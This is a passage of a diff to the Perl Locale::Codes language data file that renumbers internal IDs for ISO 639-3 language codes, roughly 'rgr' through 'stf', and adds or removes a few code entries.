          q(0),
          ],
       q(rgr) => [
-         q(5772),
+         q(5770),
          q(0),
          ],
       q(rgs) => [
-         q(5773),
+         q(5771),
          q(0),
          ],
       q(rgu) => [
-         q(5774),
+         q(5772),
          q(0),
          ],
       q(rhg) => [
-         q(5775),
+         q(5773),
          q(0),
          ],
       q(rhp) => [
-         q(5776),
+         q(5774),
          q(0),
          ],
       q(ria) => [
-         q(5777),
+         q(5775),
+         q(0),
+         ],
+      q(rie) => [
+         q(5776),
          q(0),
          ],
       q(rif) => [
-         q(5778),
+         q(5777),
          q(0),
          ],
       q(ril) => [
-         q(5779),
+         q(5778),
          q(0),
          ],
       q(rim) => [
-         q(5780),
+         q(5779),
          q(0),
          ],
       q(rin) => [
-         q(5781),
+         q(5780),
          q(0),
          ],
       q(rir) => [
-         q(5782),
+         q(5781),
          q(0),
          ],
       q(rit) => [
-         q(5783),
+         q(5782),
          q(0),
          ],
       q(riu) => [
-         q(5784),
+         q(5783),
          q(0),
          ],
       q(rjg) => [
-         q(5785),
+         q(5784),
          q(0),
          ],
       q(rji) => [
-         q(5786),
+         q(5785),
          q(0),
          ],
       q(rjs) => [
-         q(5787),
+         q(5786),
          q(0),
          ],
       q(rka) => [
-         q(5788),
+         q(5787),
          q(0),
          ],
       q(rkb) => [
-         q(5789),
+         q(5788),
          q(0),
          ],
       q(rkh) => [
-         q(5790),
+         q(5789),
          q(0),
          ],
       q(rki) => [
-         q(5791),
+         q(5790),
          q(0),
          ],
       q(rkm) => [
-         q(5792),
+         q(5791),
          q(0),
          ],
       q(rkt) => [
-         q(5793),
+         q(5792),
          q(0),
          ],
       q(rkw) => [
-         q(5794),
+         q(5793),
          q(0),
          ],
       q(rma) => [
-         q(5795),
+         q(5794),
          q(0),
          ],
       q(rmb) => [
-         q(5796),
+         q(5795),
          q(0),
          ],
       q(rmc) => [
-         q(5797),
+         q(5796),
          q(0),
          ],
       q(rmd) => [
-         q(5798),
+         q(5797),
          q(0),
          ],
       q(rme) => [
-         q(5799),
+         q(5798),
          q(0),
          ],
       q(rmf) => [
-         q(5800),
+         q(5799),
          q(0),
          ],
       q(rmg) => [
-         q(5801),
+         q(5800),
          q(0),
          ],
       q(rmh) => [
-         q(5802),
+         q(5801),
          q(0),
          ],
       q(rmi) => [
-         q(5803),
+         q(5802),
          q(0),
          ],
       q(rmk) => [
-         q(5804),
+         q(5803),
          q(0),
          ],
       q(rml) => [
-         q(5805),
+         q(5804),
          q(0),
          ],
       q(rmm) => [
-         q(5806),
+         q(5805),
          q(0),
          ],
       q(rmn) => [
-         q(5807),
+         q(5806),
          q(0),
          ],
       q(rmo) => [
-         q(5808),
+         q(5807),
          q(0),
          ],
       q(rmp) => [
-         q(5809),
+         q(5808),
          q(0),
          ],
       q(rmq) => [
-         q(5810),
+         q(5809),
          q(0),
          ],
       q(rms) => [
-         q(5811),
+         q(5810),
          q(0),
          ],
       q(rmt) => [
-         q(5812),
+         q(5811),
          q(0),
          ],
       q(rmu) => [
-         q(5813),
+         q(5812),
          q(0),
          ],
       q(rmv) => [
-         q(5814),
+         q(5813),
          q(0),
          ],
       q(rmw) => [
-         q(5815),
+         q(5814),
          q(0),
          ],
       q(rmx) => [
-         q(5816),
+         q(5815),
          q(0),
          ],
       q(rmy) => [
-         q(5817),
+         q(5816),
          q(0),
          ],
       q(rmz) => [
-         q(5818),
+         q(5817),
          q(0),
          ],
       q(rnd) => [
-         q(5819),
+         q(5818),
          q(0),
          ],
       q(rng) => [
-         q(5820),
+         q(5819),
          q(0),
          ],
       q(rnl) => [
-         q(5821),
+         q(5820),
          q(0),
          ],
       q(rnn) => [
-         q(5822),
+         q(5821),
          q(0),
          ],
       q(rnp) => [
-         q(5823),
+         q(5822),
          q(0),
          ],
       q(rnr) => [
-         q(5824),
+         q(5823),
          q(0),
          ],
       q(rnw) => [
-         q(5825),
+         q(5824),
          q(0),
          ],
       q(roa) => [
-         q(0358),
+         q(0357),
          q(0),
          ],
       q(rob) => [
-         q(5826),
+         q(5825),
          q(0),
          ],
       q(roc) => [
-         q(5827),
+         q(5826),
          q(0),
          ],
       q(rod) => [
-         q(5828),
+         q(5827),
          q(0),
          ],
       q(roe) => [
-         q(5829),
+         q(5828),
          q(0),
          ],
       q(rof) => [
-         q(5830),
+         q(5829),
          q(0),
          ],
       q(rog) => [
-         q(5831),
+         q(5830),
          q(0),
          ],
       q(roh) => [
-         q(0359),
+         q(0358),
          q(0),
          ],
       q(rol) => [
-         q(5832),
+         q(5831),
          q(0),
          ],
       q(rom) => [
-         q(0360),
+         q(0359),
          q(0),
          ],
       q(roo) => [
-         q(5833),
+         q(5832),
          q(0),
          ],
       q(rop) => [
-         q(5834),
+         q(5833),
          q(0),
          ],
       q(ror) => [
-         q(5835),
+         q(5834),
          q(0),
          ],
       q(rou) => [
-         q(5836),
+         q(5835),
          q(0),
          ],
       q(row) => [
-         q(5837),
+         q(5836),
          q(0),
          ],
       q(rpn) => [
-         q(5838),
+         q(5837),
          q(0),
          ],
       q(rpt) => [
-         q(5839),
+         q(5838),
          q(0),
          ],
       q(rri) => [
-         q(5840),
+         q(5839),
          q(0),
          ],
       q(rro) => [
-         q(5841),
+         q(5840),
          q(0),
          ],
       q(rrt) => [
-         q(5842),
+         q(5841),
          q(0),
          ],
       q(rsb) => [
+         q(5842),
+         q(0),
+         ],
+      q(rsi) => [
          q(5843),
          q(0),
          ],
@@ -81181,11 +81115,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(rum) => [
-         q(0361),
+         q(0360),
          q(0),
          ],
       q(run) => [
-         q(0362),
+         q(0361),
          q(0),
          ],
       q(ruo) => [
@@ -81193,7 +81127,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(rup) => [
-         q(0363),
+         q(0362),
          q(2),
          ],
       q(ruq) => [
@@ -81201,7 +81135,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(rus) => [
-         q(0364),
+         q(0363),
          q(0),
          ],
       q(rut) => [
@@ -81277,7 +81211,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sad) => [
-         q(0365),
+         q(0364),
          q(0),
          ],
       q(sae) => [
@@ -81289,15 +81223,15 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sag) => [
-         q(0366),
+         q(0365),
          q(0),
          ],
       q(sah) => [
-         q(0367),
+         q(0366),
          q(0),
          ],
       q(sai) => [
-         q(0368),
+         q(0367),
          q(1),
          ],
       q(saj) => [
@@ -81309,15 +81243,15 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sal) => [
-         q(0369),
+         q(0368),
          q(0),
          ],
       q(sam) => [
-         q(0370),
+         q(0369),
          q(0),
          ],
       q(san) => [
-         q(0371),
+         q(0370),
          q(0),
          ],
       q(sao) => [
@@ -81333,11 +81267,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sas) => [
-         q(0372),
+         q(0371),
          q(0),
          ],
       q(sat) => [
-         q(0373),
+         q(0372),
          q(0),
          ],
       q(sau) => [
@@ -81501,11 +81435,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(scn) => [
-         q(0374),
+         q(0373),
          q(0),
          ],
       q(sco) => [
-         q(0375),
+         q(0374),
          q(0),
          ],
       q(scp) => [
@@ -81520,615 +81454,615 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(5928),
          q(0),
          ],
-      q(sct) => [
-         q(5929),
-         q(0),
-         ],
       q(scu) => [
-         q(5930),
+         q(5929),
          q(0),
          ],
       q(scv) => [
-         q(5931),
+         q(5930),
          q(0),
          ],
       q(scw) => [
-         q(5932),
+         q(5931),
          q(0),
          ],
       q(scx) => [
-         q(5933),
+         q(5932),
          q(0),
          ],
       q(sda) => [
-         q(5934),
+         q(5933),
          q(0),
          ],
       q(sdb) => [
-         q(5935),
+         q(5934),
          q(0),
          ],
       q(sdc) => [
-         q(5936),
+         q(5935),
          q(0),
          ],
       q(sde) => [
-         q(5937),
+         q(5936),
          q(0),
          ],
       q(sdf) => [
-         q(5938),
+         q(5937),
          q(0),
          ],
       q(sdg) => [
-         q(5939),
+         q(5938),
          q(0),
          ],
       q(sdh) => [
-         q(5940),
+         q(5939),
          q(0),
          ],
       q(sdj) => [
-         q(5941),
+         q(5940),
          q(0),
          ],
       q(sdk) => [
-         q(5942),
+         q(5941),
          q(0),
          ],
       q(sdl) => [
-         q(5943),
+         q(5942),
          q(0),
          ],
       q(sdm) => [
-         q(5944),
+         q(5943),
          q(0),
          ],
       q(sdn) => [
-         q(5945),
+         q(5944),
          q(0),
          ],
       q(sdo) => [
-         q(5946),
+         q(5945),
          q(0),
          ],
       q(sdp) => [
-         q(5947),
+         q(5946),
          q(0),
          ],
       q(sdr) => [
-         q(5948),
+         q(5947),
          q(0),
          ],
       q(sds) => [
-         q(5949),
+         q(5948),
          q(0),
          ],
       q(sdt) => [
-         q(5950),
+         q(5949),
          q(0),
          ],
       q(sdu) => [
-         q(5951),
+         q(5950),
          q(0),
          ],
       q(sdv) => [
-         q(0525),
+         q(0524),
          q(0),
          ],
       q(sdx) => [
-         q(5952),
+         q(5951),
          q(0),
          ],
       q(sdz) => [
-         q(5953),
+         q(5952),
          q(0),
          ],
       q(sea) => [
-         q(5954),
+         q(5953),
          q(0),
          ],
       q(seb) => [
-         q(5955),
+         q(5954),
          q(0),
          ],
       q(sec) => [
-         q(5956),
+         q(5955),
          q(0),
          ],
       q(sed) => [
-         q(5957),
+         q(5956),
          q(0),
          ],
       q(see) => [
-         q(5958),
+         q(5957),
          q(0),
          ],
       q(sef) => [
-         q(5959),
+         q(5958),
          q(0),
          ],
       q(seg) => [
-         q(5960),
+         q(5959),
          q(0),
          ],
       q(seh) => [
-         q(5961),
+         q(5960),
          q(0),
          ],
       q(sei) => [
-         q(5962),
+         q(5961),
          q(0),
          ],
       q(sej) => [
-         q(5963),
+         q(5962),
          q(0),
          ],
       q(sek) => [
-         q(5964),
+         q(5963),
          q(0),
          ],
       q(sel) => [
-         q(0376),
+         q(0375),
          q(0),
          ],
       q(sem) => [
-         q(0377),
+         q(0376),
          q(0),
          ],
       q(sen) => [
-         q(5965),
+         q(5964),
          q(0),
          ],
       q(seo) => [
-         q(5966),
+         q(5965),
          q(0),
          ],
       q(sep) => [
-         q(5967),
+         q(5966),
          q(0),
          ],
       q(seq) => [
-         q(5968),
+         q(5967),
          q(0),
          ],
       q(ser) => [
-         q(5969),
+         q(5968),
          q(0),
          ],
       q(ses) => [
-         q(5970),
+         q(5969),
          q(0),
          ],
       q(set) => [
-         q(5971),
+         q(5970),
          q(0),
          ],
       q(seu) => [
-         q(5972),
+         q(5971),
          q(0),
          ],
       q(sev) => [
-         q(5973),
+         q(5972),
          q(0),
          ],
       q(sew) => [
-         q(5974),
+         q(5973),
          q(0),
          ],
       q(sey) => [
-         q(5975),
+         q(5974),
          q(0),
          ],
       q(sez) => [
-         q(5976),
+         q(5975),
          q(0),
          ],
       q(sfb) => [
-         q(5977),
+         q(5976),
          q(0),
          ],
       q(sfe) => [
-         q(5978),
+         q(5977),
          q(0),
          ],
       q(sfm) => [
-         q(5979),
+         q(5978),
          q(0),
          ],
       q(sfs) => [
-         q(5980),
+         q(5979),
          q(0),
          ],
       q(sfw) => [
-         q(5981),
+         q(5980),
          q(0),
          ],
       q(sga) => [
-         q(0378),
+         q(0377),
          q(1),
          ],
       q(sgb) => [
-         q(5982),
+         q(5981),
          q(0),
          ],
       q(sgc) => [
-         q(5983),
+         q(5982),
          q(0),
          ],
       q(sgd) => [
-         q(5984),
+         q(5983),
          q(0),
          ],
       q(sge) => [
-         q(5985),
+         q(5984),
          q(0),
          ],
       q(sgg) => [
-         q(5986),
+         q(5985),
          q(0),
          ],
       q(sgh) => [
-         q(5987),
+         q(5986),
          q(0),
          ],
       q(sgi) => [
-         q(5988),
+         q(5987),
          q(0),
          ],
       q(sgj) => [
-         q(5989),
+         q(5988),
          q(0),
          ],
       q(sgk) => [
-         q(5990),
+         q(5989),
          q(0),
          ],
       q(sgm) => [
-         q(5991),
+         q(5990),
          q(0),
          ],
       q(sgn) => [
-         q(0379),
+         q(0378),
          q(0),
          ],
       q(sgp) => [
-         q(5992),
+         q(5991),
          q(0),
          ],
       q(sgr) => [
-         q(5993),
+         q(5992),
          q(0),
          ],
       q(sgs) => [
-         q(5994),
+         q(5993),
          q(0),
          ],
       q(sgt) => [
-         q(5995),
+         q(5994),
          q(0),
          ],
       q(sgu) => [
-         q(5996),
+         q(5995),
          q(0),
          ],
       q(sgw) => [
-         q(5997),
+         q(5996),
          q(0),
          ],
       q(sgx) => [
-         q(5998),
+         q(5997),
          q(0),
          ],
       q(sgy) => [
-         q(5999),
+         q(5998),
          q(0),
          ],
       q(sgz) => [
-         q(6000),
+         q(5999),
          q(0),
          ],
       q(sha) => [
-         q(6001),
+         q(6000),
          q(0),
          ],
       q(shb) => [
-         q(6002),
+         q(6001),
          q(0),
          ],
       q(shc) => [
-         q(6003),
+         q(6002),
          q(0),
          ],
       q(shd) => [
-         q(6004),
+         q(6003),
          q(0),
          ],
       q(she) => [
-         q(6005),
+         q(6004),
          q(0),
          ],
       q(shg) => [
-         q(6006),
+         q(6005),
          q(0),
          ],
       q(shh) => [
-         q(6007),
+         q(6006),
          q(0),
          ],
       q(shi) => [
-         q(6008),
+         q(6007),
          q(0),
          ],
       q(shj) => [
-         q(6009),
+         q(6008),
          q(0),
          ],
       q(shk) => [
-         q(6010),
+         q(6009),
          q(0),
          ],
       q(shl) => [
-         q(6011),
+         q(6010),
          q(0),
          ],
       q(shm) => [
-         q(6012),
+         q(6011),
          q(0),
          ],
       q(shn) => [
-         q(0380),
+         q(0379),
          q(0),
          ],
       q(sho) => [
-         q(6013),
+         q(6012),
          q(0),
          ],
       q(shp) => [
-         q(6014),
+         q(6013),
          q(0),
          ],
       q(shq) => [
-         q(6015),
+         q(6014),
          q(0),
          ],
       q(shr) => [
-         q(6016),
+         q(6015),
          q(0),
          ],
       q(shs) => [
-         q(6017),
+         q(6016),
          q(0),
          ],
       q(sht) => [
-         q(6018),
+         q(6017),
          q(0),
          ],
       q(shu) => [
-         q(6019),
+         q(6018),
          q(0),
          ],
       q(shv) => [
-         q(6020),
+         q(6019),
          q(0),
          ],
       q(shw) => [
-         q(6021),
+         q(6020),
          q(0),
          ],
       q(shx) => [
-         q(6022),
+         q(6021),
          q(0),
          ],
       q(shy) => [
-         q(6023),
+         q(6022),
          q(0),
          ],
       q(shz) => [
-         q(6024),
+         q(6023),
          q(0),
          ],
       q(sia) => [
-         q(6025),
+         q(6024),
          q(0),
          ],
       q(sib) => [
-         q(6026),
+         q(6025),
          q(0),
          ],
       q(sid) => [
-         q(0381),
+         q(0380),
          q(0),
          ],
       q(sie) => [
-         q(6027),
+         q(6026),
          q(0),
          ],
       q(sif) => [
-         q(6028),
+         q(6027),
          q(0),
          ],
       q(sig) => [
-         q(6029),
+         q(6028),
          q(0),
          ],
       q(sih) => [
-         q(6030),
+         q(6029),
          q(0),
          ],
       q(sii) => [
-         q(6031),
+         q(6030),
          q(0),
          ],
       q(sij) => [
-         q(6032),
+         q(6031),
          q(0),
          ],
       q(sik) => [
-         q(6033),
+         q(6032),
          q(0),
          ],
       q(sil) => [
-         q(6034),
+         q(6033),
          q(0),
          ],
       q(sim) => [
-         q(6035),
+         q(6034),
          q(0),
          ],
       q(sin) => [
-         q(0382),
+         q(0381),
          q(0),
          ],
       q(sio) => [
-         q(0383),
+         q(0382),
          q(0),
          ],
       q(sip) => [
-         q(6036),
+         q(6035),
          q(0),
          ],
       q(siq) => [
-         q(6037),
+         q(6036),
          q(0),
          ],
       q(sir) => [
-         q(6038),
+         q(6037),
          q(0),
          ],
       q(sis) => [
-         q(6039),
+         q(6038),
          q(0),
          ],
       q(sit) => [
-         q(0384),
+         q(0383),
          q(0),
          ],
       q(siu) => [
-         q(6040),
+         q(6039),
          q(0),
          ],
       q(siv) => [
-         q(6041),
+         q(6040),
          q(0),
          ],
       q(siw) => [
-         q(6042),
+         q(6041),
          q(0),
          ],
       q(six) => [
-         q(6043),
+         q(6042),
          q(0),
          ],
       q(siy) => [
-         q(6044),
+         q(6043),
          q(0),
          ],
       q(siz) => [
-         q(6045),
+         q(6044),
          q(0),
          ],
       q(sja) => [
-         q(6046),
+         q(6045),
          q(0),
          ],
       q(sjb) => [
-         q(6047),
+         q(6046),
          q(0),
          ],
       q(sjd) => [
-         q(6048),
+         q(6047),
          q(0),
          ],
       q(sje) => [
-         q(6049),
+         q(6048),
          q(0),
          ],
       q(sjg) => [
-         q(6050),
+         q(6049),
          q(0),
          ],
       q(sjk) => [
-         q(6051),
+         q(6050),
          q(0),
          ],
       q(sjl) => [
-         q(6052),
+         q(6051),
          q(0),
          ],
       q(sjm) => [
-         q(6053),
+         q(6052),
          q(0),
          ],
       q(sjn) => [
-         q(6054),
+         q(6053),
          q(0),
          ],
       q(sjo) => [
-         q(6055),
+         q(6054),
          q(0),
          ],
       q(sjp) => [
-         q(6056),
+         q(6055),
          q(0),
          ],
       q(sjr) => [
-         q(6057),
+         q(6056),
          q(0),
          ],
       q(sjs) => [
-         q(6058),
+         q(6057),
          q(0),
          ],
       q(sjt) => [
-         q(6059),
+         q(6058),
          q(0),
          ],
       q(sju) => [
-         q(6060),
+         q(6059),
          q(0),
          ],
       q(sjw) => [
-         q(6061),
+         q(6060),
          q(0),
          ],
       q(ska) => [
-         q(6062),
+         q(6061),
          q(0),
          ],
       q(skb) => [
-         q(6063),
+         q(6062),
          q(0),
          ],
       q(skc) => [
-         q(6064),
+         q(6063),
          q(0),
          ],
       q(skd) => [
-         q(6065),
+         q(6064),
          q(0),
          ],
       q(ske) => [
-         q(6066),
+         q(6065),
          q(0),
          ],
       q(skf) => [
-         q(6067),
+         q(6066),
          q(0),
          ],
       q(skg) => [
-         q(6068),
+         q(6067),
          q(0),
          ],
       q(skh) => [
-         q(6069),
+         q(6068),
          q(0),
          ],
       q(ski) => [
-         q(6070),
+         q(6069),
          q(0),
          ],
       q(skj) => [
+         q(6070),
+         q(0),
+         ],
+      q(skk) => [
          q(6071),
          q(0),
          ],
@@ -82189,7 +82123,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sla) => [
-         q(0385),
+         q(0384),
          q(0),
          ],
       q(slc) => [
@@ -82237,7 +82171,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(slo) => [
-         q(0386),
+         q(0385),
          q(0),
          ],
       q(slp) => [
@@ -82265,7 +82199,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(slv) => [
-         q(0387),
+         q(0386),
          q(0),
          ],
       q(slw) => [
@@ -82285,7 +82219,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sma) => [
-         q(0388),
+         q(0387),
          q(0),
          ],
       q(smb) => [
@@ -82301,7 +82235,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sme) => [
-         q(0389),
+         q(0388),
          q(0),
          ],
       q(smf) => [
@@ -82317,11 +82251,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(smi) => [
-         q(0390),
+         q(0389),
          q(0),
          ],
       q(smj) => [
-         q(0391),
+         q(0390),
          q(0),
          ],
       q(smk) => [
@@ -82337,11 +82271,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(smn) => [
-         q(0392),
+         q(0391),
          q(0),
          ],
       q(smo) => [
-         q(0393),
+         q(0392),
          q(0),
          ],
       q(smp) => [
@@ -82357,7 +82291,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sms) => [
-         q(0394),
+         q(0393),
          q(0),
          ],
       q(smt) => [
@@ -82389,7 +82323,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(sna) => [
-         q(0395),
+         q(0394),
          q(0),
          ],
       q(snb) => [
@@ -82401,7 +82335,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(snd) => [
-         q(0396),
+         q(0395),
          q(0),
          ],
       q(sne) => [
@@ -82416,951 +82350,951 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(6129),
          q(0),
          ],
-      q(sni) => [
+      q(snh) => [
          q(6130),
          q(0),
          ],
-      q(snj) => [
+      q(sni) => [
          q(6131),
          q(0),
          ],
+      q(snj) => [
+         q(6132),
+         q(0),
+         ],
       q(snk) => [
-         q(0397),
+         q(0396),
          q(0),
          ],
       q(snl) => [
-         q(6132),
+         q(6133),
          q(0),
          ],
       q(snm) => [
-         q(6133),
+         q(6134),
          q(0),
          ],
       q(snn) => [
-         q(6134),
+         q(6135),
          q(0),
          ],
       q(sno) => [
-         q(6135),
+         q(6136),
          q(0),
          ],
       q(snp) => [
-         q(6136),
+         q(6137),
          q(0),
          ],
       q(snq) => [
-         q(6137),
+         q(6138),
          q(0),
          ],
       q(snr) => [
-         q(6138),
+         q(6139),
          q(0),
          ],
       q(sns) => [
-         q(6139),
+         q(6140),
          q(0),
          ],
       q(snu) => [
-         q(6140),
+         q(6141),
          q(0),
          ],
       q(snv) => [
-         q(6141),
+         q(6142),
          q(0),
          ],
       q(snw) => [
-         q(6142),
+         q(6143),
          q(0),
          ],
       q(snx) => [
-         q(6143),
+         q(6144),
          q(0),
          ],
       q(sny) => [
-         q(6144),
+         q(6145),
          q(0),
          ],
       q(snz) => [
-         q(6145),
+         q(6146),
          q(0),
          ],
       q(soa) => [
-         q(6146),
+         q(6147),
          q(0),
          ],
       q(sob) => [
-         q(6147),
+         q(6148),
          q(0),
          ],
       q(soc) => [
-         q(6148),
+         q(6149),
          q(0),
          ],
       q(sod) => [
-         q(6149),
+         q(6150),
          q(0),
          ],
       q(soe) => [
-         q(6150),
+         q(6151),
          q(0),
          ],
       q(sog) => [
-         q(0398),
+         q(0397),
          q(0),
          ],
       q(soh) => [
-         q(6151),
+         q(6152),
          q(0),
          ],
       q(soi) => [
-         q(6152),
+         q(6153),
          q(0),
          ],
       q(soj) => [
-         q(6153),
+         q(6154),
          q(0),
          ],
       q(sok) => [
-         q(6154),
+         q(6155),
          q(0),
          ],
       q(sol) => [
-         q(6155),
+         q(6156),
          q(0),
          ],
       q(som) => [
-         q(0399),
+         q(0398),
          q(0),
          ],
       q(son) => [
-         q(0400),
+         q(0399),
          q(0),
          ],
       q(soo) => [
-         q(6156),
+         q(6157),
          q(0),
          ],
       q(sop) => [
-         q(6157),
+         q(6158),
          q(0),
          ],
       q(soq) => [
-         q(6158),
+         q(6159),
          q(0),
          ],
       q(sor) => [
-         q(6159),
+         q(6160),
          q(0),
          ],
       q(sos) => [
-         q(6160),
+         q(6161),
          q(0),
          ],
       q(sot) => [
-         q(0401),
+         q(0400),
          q(0),
          ],
       q(sou) => [
-         q(6161),
+         q(6162),
          q(0),
          ],
       q(sov) => [
-         q(6162),
+         q(6163),
          q(0),
          ],
       q(sow) => [
-         q(6163),
+         q(6164),
          q(0),
          ],
       q(sox) => [
-         q(6164),
+         q(6165),
          q(0),
          ],
       q(soy) => [
-         q(6165),
+         q(6166),
          q(0),
          ],
       q(soz) => [
-         q(6166),
+         q(6167),
          q(0),
          ],
       q(spa) => [
-         q(0402),
+         q(0401),
          q(0),
          ],
       q(spb) => [
-         q(6167),
+         q(6168),
          q(0),
          ],
       q(spc) => [
-         q(6168),
+         q(6169),
          q(0),
          ],
       q(spd) => [
-         q(6169),
+         q(6170),
          q(0),
          ],
       q(spe) => [
-         q(6170),
+         q(6171),
          q(0),
          ],
       q(spg) => [
-         q(6171),
+         q(6172),
          q(0),
          ],
       q(spi) => [
-         q(6172),
+         q(6173),
          q(0),
          ],
       q(spk) => [
-         q(6173),
+         q(6174),
          q(0),
          ],
       q(spl) => [
-         q(6174),
+         q(6175),
          q(0),
          ],
       q(spm) => [
-         q(6175),
+         q(6176),
          q(0),
          ],
       q(spn) => [
-         q(6176),
+         q(6177),
          q(0),
          ],
       q(spo) => [
-         q(6177),
+         q(6178),
          q(0),
          ],
       q(spp) => [
-         q(6178),
+         q(6179),
          q(0),
          ],
       q(spq) => [
-         q(6179),
+         q(6180),
          q(0),
          ],
       q(spr) => [
-         q(6180),
+         q(6181),
          q(0),
          ],
       q(sps) => [
-         q(6181),
+         q(6182),
          q(0),
          ],
       q(spt) => [
-         q(6182),
+         q(6183),
          q(0),
          ],
       q(spu) => [
-         q(6183),
+         q(6184),
          q(0),
          ],
       q(spv) => [
-         q(6184),
+         q(6185),
          q(0),
          ],
       q(spx) => [
-         q(6185),
+         q(6186),
          q(0),
          ],
       q(spy) => [
-         q(6186),
+         q(6187),
          q(0),
          ],
       q(sqa) => [
-         q(6187),
+         q(6188),
          q(0),
          ],
       q(sqh) => [
-         q(6188),
+         q(6189),
          q(0),
          ],
       q(sqj) => [
-         q(0526),
+         q(0525),
          q(0),
          ],
       q(sqk) => [
-         q(6189),
+         q(6190),
          q(0),
          ],
       q(sqm) => [
-         q(6190),
+         q(6191),
          q(0),
          ],
       q(sqn) => [
-         q(6191),
+         q(6192),
          q(0),
          ],
       q(sqo) => [
-         q(6192),
+         q(6193),
          q(0),
          ],
       q(sqq) => [
-         q(6193),
+         q(6194),
          q(0),
          ],
       q(sqr) => [
-         q(6194),
+         q(6195),
          q(0),
          ],
       q(sqs) => [
-         q(6195),
+         q(6196),
          q(0),
          ],
       q(sqt) => [
-         q(6196),
+         q(6197),
          q(0),
          ],
       q(squ) => [
-         q(6197),
+         q(6198),
          q(0),
          ],
       q(sra) => [
-         q(6198),
+         q(6199),
          q(0),
          ],
       q(srb) => [
-         q(6199),
+         q(6200),
          q(0),
          ],
       q(src) => [
-         q(6200),
+         q(6201),
          q(0),
          ],
       q(srd) => [
-         q(0403),
+         q(0402),
          q(0),
          ],
       q(sre) => [
-         q(6201),
+         q(6202),
          q(0),
          ],
       q(srf) => [
-         q(6202),
+         q(6203),
          q(0),
          ],
       q(srg) => [
-         q(6203),
+         q(6204),
          q(0),
          ],
       q(srh) => [
-         q(6204),
+         q(6205),
          q(0),
          ],
       q(sri) => [
-         q(6205),
+         q(6206),
          q(0),
          ],
       q(srk) => [
-         q(6206),
+         q(6207),
          q(0),
          ],
       q(srl) => [
-         q(6207),
+         q(6208),
          q(0),
          ],
       q(srm) => [
-         q(6208),
+         q(6209),
          q(0),
          ],
       q(srn) => [
-         q(0404),
+         q(0403),
          q(0),
          ],
       q(sro) => [
-         q(6209),
+         q(6210),
          q(0),
          ],
       q(srp) => [
-         q(0405),
+         q(0404),
          q(0),
          ],
       q(srq) => [
-         q(6210),
+         q(6211),
          q(0),
          ],
       q(srr) => [
-         q(0406),
+         q(0405),
          q(0),
          ],
       q(srs) => [
-         q(6211),
+         q(6212),
          q(0),
          ],
       q(srt) => [
-         q(6212),
+         q(6213),
          q(0),
          ],
       q(sru) => [
-         q(6213),
+         q(6214),
          q(0),
          ],
       q(srv) => [
-         q(6214),
+         q(6215),
          q(0),
          ],
       q(srw) => [
-         q(6215),
+         q(6216),
          q(0),
          ],
       q(srx) => [
-         q(6216),
+         q(6217),
          q(0),
          ],
       q(sry) => [
-         q(6217),
+         q(6218),
          q(0),
          ],
       q(srz) => [
-         q(6218),
+         q(6219),
          q(0),
          ],
       q(ssa) => [
-         q(0407),
+         q(0406),
          q(0),
          ],
       q(ssb) => [
-         q(6219),
+         q(6220),
          q(0),
          ],
       q(ssc) => [
-         q(6220),
+         q(6221),
          q(0),
          ],
       q(ssd) => [
-         q(6221),
+         q(6222),
          q(0),
          ],
       q(sse) => [
-         q(6222),
+         q(6223),
          q(0),
          ],
       q(ssf) => [
-         q(6223),
+         q(6224),
          q(0),
          ],
       q(ssg) => [
-         q(6224),
+         q(6225),
          q(0),
          ],
       q(ssh) => [
-         q(6225),
+         q(6226),
          q(0),
          ],
       q(ssi) => [
-         q(6226),
+         q(6227),
          q(0),
          ],
       q(ssj) => [
-         q(6227),
+         q(6228),
          q(0),
          ],
       q(ssk) => [
-         q(6228),
+         q(6229),
          q(0),
          ],
       q(ssl) => [
-         q(6229),
+         q(6230),
          q(0),
          ],
       q(ssm) => [
-         q(6230),
+         q(6231),
          q(0),
          ],
       q(ssn) => [
-         q(6231),
+         q(6232),
          q(0),
          ],
       q(sso) => [
-         q(6232),
+         q(6233),
          q(0),
          ],
       q(ssp) => [
-         q(6233),
+         q(6234),
          q(0),
          ],
       q(ssq) => [
-         q(6234),
+         q(6235),
          q(0),
          ],
       q(ssr) => [
-         q(6235),
+         q(6236),
          q(0),
          ],
       q(sss) => [
-         q(6236),
+         q(6237),
          q(0),
          ],
       q(sst) => [
-         q(6237),
+         q(6238),
          q(0),
          ],
       q(ssu) => [
-         q(6238),
+         q(6239),
          q(0),
          ],
       q(ssv) => [
-         q(6239),
+         q(6240),
          q(0),
          ],
       q(ssw) => [
-         q(0408),
+         q(0407),
          q(0),
          ],
       q(ssx) => [
-         q(6240),
+         q(6241),
          q(0),
          ],
       q(ssy) => [
-         q(6241),
+         q(6242),
          q(0),
          ],
       q(ssz) => [
-         q(6242),
+         q(6243),
          q(0),
          ],
       q(sta) => [
-         q(6243),
+         q(6244),
          q(0),
          ],
       q(stb) => [
-         q(6244),
+         q(6245),
          q(0),
          ],
       q(std) => [
-         q(6245),
+         q(6246),
          q(0),
          ],
       q(ste) => [
-         q(6246),
+         q(6247),
          q(0),
          ],
       q(stf) => [
-         q(6247),
+         q(6248),
          q(0),
          ],
